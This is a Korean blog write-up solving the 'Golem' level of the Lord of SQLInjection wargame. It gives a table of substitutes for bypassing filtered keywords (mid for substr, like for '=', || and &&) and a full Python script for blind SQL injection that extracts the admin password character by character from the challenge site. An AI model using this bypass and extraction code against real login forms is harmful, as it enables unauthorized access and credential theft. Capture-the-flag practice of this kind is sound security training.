본문 바로가기

보안공부/Lord of SQLInjection 풀이

Lord of SQLInjection Golem 풀이

admin으로 로그인해야하는데 기존에 사용하던 substr, = 등의 연산자 또는 함수들을 필터링하는 코드들이 추가됐음을 확인할 수 있었다.

 

하지만 substr는 mid로, =는 like로, 비슷한 기능을 하는 대체제를 사용할 수 있었다.

필터링되는 단어 대체제
substr() mid()
= like
or ||
and &&

 

Orc 문제에서 사용한 코드를 기반하여 위 테이블과 같이 치환하여 다음과 같은 코드를 완성할 수 있었다.

더보기
import requests
URL = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php"
Sess = {'PHPSESSID': '9i2l22igeud2lesoff2tvo7q91'}
ConfirmKey = "Hello admin"
Dict = '0123456789QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm'
length = 0
password = ""
def sendReq(payload):
    return requests.get(URL, cookies=Sess, params=payload)
print("[*] Started")
print("[*] Calculating length of password")
while True:
    if ConfirmKey in sendReq({"pw": "' || id like 'admin' && length(pw) like " + str(length) + " -- '"}).text:
        print("[+] Found length : " + str(length))
        break
    else:
        print("[!] Tried : " + str(length))
        length+=1
print("[*] Looking for password")
while True:
    for Current in Dict:
        if ConfirmKey in sendReq({'pw': "' || id like 'admin' && ascii(mid(pw," + str(len(password) + 1) + "," + str(len(password) + 1) + ")) like " + str(ord(Current)) + " -- '"}).text:
            password+=Current
            print("[+] Found password of state " + str(len(password)) + " : " + str(Current))
            print("[" + str(len(password)) + "/" + str(length) + "] Current State : " + password)
            if len(password) == length:
                break
        else:
            print("[!] Tried : " + str(Current))
    if len(password) == length:
        break
    else:
        print("[>] One loop done.")
print("[*] Job Done!")

 

위 코드의 실행 결과로 비밀번호를 얻었다.

 

이 키로 인증하니 풀렸다.